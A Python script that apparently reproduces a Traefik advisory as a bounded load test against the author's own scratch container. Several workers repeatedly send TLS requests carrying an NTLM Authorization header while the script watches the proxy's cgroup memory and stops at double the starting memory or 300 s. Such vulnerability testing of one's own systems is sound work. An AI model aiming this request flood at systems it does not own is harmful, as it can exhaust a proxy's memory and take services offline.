#!/usr/bin/env python3
"""Traefik GHSA-xv5x load test, scratch 9202 ONLY, from the LAN (the demo-hp host), bounded (brief 2026-11-03 Part 1.3):
many short TLS connections, each one request with an `Authorization: NTLM` header, to the dashboard route (the controller
answers it, so the request reaches a backend). Traefik's memory is read every 10 s from its cgroup. The load stops at once when
memory passes twice its start figure, or at 300 s. Usage on demo-hp: traefik_load.py LABEL"""
import multiprocessing as mp, os, re, socket, ssl, subprocess, sys, time

GUEST, ADDR, HOST = "9202", "192.168.0.158", "felhom.enkisfelhom.hu"
MAX_S, STEP_S, WORKERS = 300, 10, 4
REQ = (f"GET / HTTP/1.1\r\nHost: {HOST}\r\nUser-Agent: felhom-ghsa-xv5x-test\r\nAccept: */*\r\n"
       "Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=\r\n\r\n").encode()


def worker(stop, n, codes):
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    while not stop.is_set():
        try:
            with socket.create_connection((ADDR, 443), timeout=10) as raw, ctx.wrap_socket(raw, server_hostname=HOST) as s:
                s.sendall(REQ)
                head = s.recv(4096)
            m = re.match(rb"HTTP/1\.1 (\d+)", head)
            key = int(m.group(1)) if m else 0
            with n.get_lock():
                n.value += 1
            codes[key if 0 <= key < 600 else 0] += 1
        except OSError:
            codes[1] += 1


def guest(cmd):
    return subprocess.run(["pct", "exec", GUEST, "--", "sh", "-c", cmd], capture_output=True, text=True, timeout=30).stdout


def mem():
    out = guest('id=$(docker inspect traefik --format {{.Id}}); d=/sys/fs/cgroup/system.slice/docker-$id.scope; '
                'cat $d/memory.current; grep -E "^anon " $d/memory.stat; docker inspect traefik --format {{.Image}}')
    lines = out.split()
    return int(lines[0]), int(lines[2])


def main():
    label = sys.argv[1]
    print("#", label, "version:", guest("docker exec traefik traefik version | head -1").split()[-1], flush=True)
    print("#", label, "image:", guest("docker inspect traefik --format '{{.Config.Image}} {{.Image}}'").strip(), flush=True)
    cur0, anon0 = mem()
    stop, n = mp.Event(), mp.Value("q", 0)
    codes = mp.Array("q", 600)
    procs = [mp.Process(target=worker, args=(stop, n, codes), daemon=True) for _ in range(WORKERS)]
    print("t_s,connections,current_MiB,anon_MiB", flush=True)
    print(f"0,0,{cur0/2**20:.1f},{anon0/2**20:.1f}", flush=True)
    for p in procs:
        p.start()
    t0, why = time.time(), f"{MAX_S} s passed"
    while time.time() - t0 < MAX_S:
        time.sleep(STEP_S)
        cur, anon = mem()
        print(f"{int(time.time()-t0)},{n.value},{cur/2**20:.1f},{anon/2**20:.1f}", flush=True)
        if anon > 2 * anon0 or cur > 2 * cur0:
            why = f"memory passed twice its start (anon {anon0/2**20:.1f} -> {anon/2**20:.1f} MiB, current {cur0/2**20:.1f} -> {cur/2**20:.1f} MiB)"
            break
    stop.set()
    for p in procs:
        p.join(15)
        if p.is_alive():
            p.terminate()
    took = time.time() - t0
    print(f"# stopped: {why}; {n.value} connections in {took:.0f} s = {n.value/took:.0f}/s", flush=True)
    print("# answers:", {("failed" if i == 1 else "no status" if i == 0 else i): c for i, c in enumerate(codes) if c}, flush=True)
    for _ in range(3):
        time.sleep(STEP_S)
        cur, anon = mem()
        print(f"after-stop,{int(time.time()-t0)},{cur/2**20:.1f},{anon/2**20:.1f}", flush=True)


main()